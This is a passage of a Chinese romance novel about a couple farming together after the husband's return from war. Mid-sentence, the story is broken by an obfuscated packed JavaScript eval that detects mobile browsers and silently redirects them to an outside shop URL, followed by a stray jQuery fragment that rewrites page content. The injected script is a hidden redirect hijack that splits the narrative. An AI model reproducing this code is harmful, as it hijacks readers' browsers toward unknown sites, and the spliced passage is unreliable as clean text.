家里的日子跟以前差不多，但又有一些细微的不同。
以前他不在的时候，陈穗早上起来第一件事是去看水车，然后是巡田，然后回来喂孩子。现在她早上起来的时候水车已经被人看过了，田已经巡完了，孩子正坐在桌案边上的小凳子上看另一个人削竹片。她掀帘出去打水的时候经过桌案，看到孩子正专注地看着他手里的刀片贴着竹面推过去，眼睛跟着刀锋移动的方向一眨不眨地追着，像在看一件极其重要的事情。他从竹面上吹掉碎屑的时候，孩子会伸手去够那些被吹落的竹屑，他拦了一下，把竹屑拢到桌角不让孩子拿到，然后低头继续刻。
水车他每天早上第一个去看。以前是她第一个到水车边拧开挡板的，现在轮到他了。她去的时候水车已经在转了，水流灌进渠道的声响均匀而持续，挡板的角度跟他走之前最后一次调整时一模一样。她站在水车旁边伸手试了一下水流的方向和速度，不需要再调了，它已经在最合适的位置上持续工作了很长时间。她收回手转身往回走，经过田埂的时候看到他已经抱着孩子朝她走过来，孩子手里攥着一片新削好的竹片——还没有刻字的，边角磨得很圆润，不会划到手，大概是专门给孩子玩的。
“挡板角度正好。”她说。“今年水位比去年稳，不用调。”他说。他把孩子换了一只手抱，另一只手指了一下远处新翻的那片坡地，“那片地我今天去翻了，回来的时候顺便。”陈穗顺着他手指的方向看了一眼，那片坡地果然已经翻好了——土翻得又深又匀，垄沟笔直，跟她平时自己翻的一个标准。她看了片刻把目光收回来落在他身上：“你早上起来做了这么多事？”他抱着孩子从她旁边走过去：“天亮了就起来了，闲着也是闲着。”
白天的时候他在地里，她也在地里。两个人各自负责不同的地块，有时候隔着几垄麦田互相看不到人影，但收工之后会在田埂上碰头。陈穗有时候晚收工一些，回来的时候他已经把孩子接回去了，帐里飘出饭食的气味。有一次她走到帐门口的时候听到里面传来他的声音，正在跟孩子说“这是米粥，你娘爱喝”，声音压得很低，像在跟一株幼苗说话一样。孩子发出一声响亮的咿呀作为回应，他又说了一句“那你喝吧”然后传来勺子碰碗沿的声响。她在门口站了一瞬，然后掀帘进去了，看到孩子正坐在他腿上，面前的小碗里剩了半碗米粥，他的嘴角沾了一小片米粒。
有一天傍晚收工之后她没有立刻回营地。她坐在水车边上，看着轮轴在暮色里继续转动，水声哗哗地淌进渠里。他抱着孩子从田埂那头走过来，孩子已经半睡过去了，靠在他肩头闭着眼。他走到她旁边坐了下来，把睡着的孩子横抱在臂弯里。水车的轮叶继续转动着，从暮色转到夜色，水面上泛起傍晚时分的天光和云影。
“你以前会想到现在是这个样子吗？”陈穗问。他侧过头看了她一眼：“以前没想过。”他又把目光转回水车上，“以前我只想过打完仗回去。”她坐在他旁边靠在他肩上，偏过头看着远处正在变暗的祁连山轮廓：“那我呢？”他说：“你那个时候在河西种地，我打完仗回来找你。”陈穗没有接话，伸手碰了一下他抱着孩子的手臂：“你现在不用打完仗才能来找我了。”
草帘在入冬之前全部盖上了。今年盖草帘的时候他全程都在，从第一天到最后一天，一垄一垄地盖过去，每一块地的边角他都亲自压了一遍。木棍老兵远远看着他的动作，端了碗水放在田埂边上就走了。陈穗坐在田埂边上看着他把最后一块地的草帘压好，站起来拍了拍手上的草屑和碎叶，日光把他的轮廓镀了一层柔和的金色，他转过身朝她这个方向走过来。她坐在田埂上仰头看着他走到面前，他弯腰伸手拉她站起来。她站起来的时候顺手把落在衣摆上的草屑拍掉了，然后她侧头看了一眼刚刚盖完最后一张草帘的麦田——灰褐色的草
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920830|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
帘覆盖着整片土地，严丝合缝，边缘压得整整齐齐。
入冬之后的日子过得更慢了。每天早上的日光从窗口照进来的角度，他削竹片时刀刃划过竹面的节奏，孩子在毡子上爬行的路线，灶台上水烧开之后冒白气的高度——一切都以几乎不变的频率重复着，像四季在循环中划出的一道道平稳的轨道。有一天傍晚陈穗从桌案上抬起头来，看到孩子正坐在他旁边的毡子上，手里攥着一片磨圆了的竹片，也学着旁边大人的动作在自己面前的竹片表面用力压。她看了片刻，然后低下头继续写她的屯田手稿，嘴角是弯着的。
夜色降下来的时候水车已经停转了，渠里的水在深冬的低温下结了薄薄一层冰，月光照在上面像一面覆了银膜的镜子。她坐在灯下续着手稿的末页，他坐在旁边给那片新竹片收尾。夜很安静，远处没有马蹄声，没有号角，只有草帘边缘偶尔被风掀动时发出的轻微声响。已经很久没有人在夜里被紧急军务叫醒了。她写到末页最后一行搁下笔的时候，偏过头朝他那边看了一眼——他已经把竹片刻完了，正拿着新刻好的那片在灯下翻看。
“新的一年要开始了。”她开口说。他放下竹片看向她：“明年开春翻哪片？”她想了想：“东面那片坡地再往外扩一扩。水渠也要延长，否则水到不了最边上那一排。”他说：“我开春之前先去看看土质怎么样。”
“好。”
他把它收进怀里，然后站起来吹了灯，在黑暗里走到她旁边俯身碰了一下她的额头。“睡了。”他说。“睡了。”她应了一声，伸手把被子往上拉了一拉盖住孩子的肩膀，然后在黑暗里躺下来闭眼。
这就是不走了之后的日子。每天要做的事都是知道的，每天要做的事都是两个人一起做的。没有意外，没有急报，没有突然的离开。只有麦子一年年地种着，孩子一天天地长着，和两个人一起在田埂上走过了一遍又一遍的春天。